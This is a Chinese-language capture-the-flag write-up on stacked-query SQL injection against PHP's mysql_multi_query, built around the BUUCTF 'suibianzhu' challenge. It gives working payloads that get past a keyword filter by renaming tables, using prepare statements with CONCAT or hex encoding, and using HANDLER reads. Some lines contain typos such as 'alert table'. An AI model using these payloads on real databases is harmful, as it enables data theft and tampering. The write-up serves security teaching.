一、原理:
将多个语句一起进行查询,比如
select * from users;show databases;
产生这种注入的原理也很简单,是由于PHP mysql_multi_query()
这个函数支持多个SQL语句同时执行,只需要使用;
分割即可。
二、示例:
2.1、BUUCTF[强网杯 2019]随便注:
#在这个题目中,我们可以通过**`mysql_multi_query()`**这个函数的特性进行多条语句的查询,如:
1';show databases;# (查库名)
1';use supersqli;# (使用这个库)
1';show tables;# (查表名)
1';show columns from `1919810931114514`;# (查列名)
......
#其实一般情况我们就能通过select 语句查出我们想要的信息,不过本题设置了一个wafpreg_match("/select|update|delete|drop|insert|where|\./i",$inject);#其过滤了一些关键字,其中就包括select
一般情况下没有select我们就无从下手了,因为无论是联合注入还是报错注入我们都需要用到select,但是由于mysql_multi_query()
的存在,我们可以摸索出这几种解法:
一,修改表名和列名:
#观察到前台是有显示数据的,所以猜测这个数据很有可能是从words这个表中读取的,
因此,我们可以把表名`1919810931114514`改为word,
并将数字名的表中的列名改为与words表里同样的列名,
这样通过后端数据库的查询语句("select * from words where id='$id';")
就可以让前台顺利的读取flag#先读取列名
1';show columns from words;#修改列名flag 为 data 并添加一列 id
1'; rename table words to word1;
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key;
alert table words change flag data varchar(100);##详解
修改表名:
rename table a to b
添加表列:
alter table test add column name varchar(10);
修改表列:
alter table test modify address char(10)
alter table test change oldname newname char(40) #另外一种方法:
#先修改flag名,然后通过 1' or 1=1# 这种查询方式把该表的所有数据遍历出来
1';alter table words rename to words1; alter table `1919810931114514` to words;alter table words change flag id varchar(50);#1' or 1=1#
二,prepare绕过:
#mysql预处理语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;#payload:
1';
seT @a = CONCAT('se','lect * from `1919810931114514`;');
pRepare flag from @a;
EXECUTE flag;##也可以使用编码来绕过select#使用Hex对 [select * from ` 1919810931114514 `]进行编码得到:
0x73656c656374202a2066726f6d20603139313938313039333131313435313460
#然后:
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
三,Handler:
#使用handler语句可以一行一行的读取表中的数据,语法:
--打开一个表名为 users 的表的句柄
HANDLER users OPEN [ [AS] alias]--READ FIRST: 获取句柄的第一行
--READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
--最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER users READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]--关闭以打开的句柄
HANDLER users CLOSE#payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#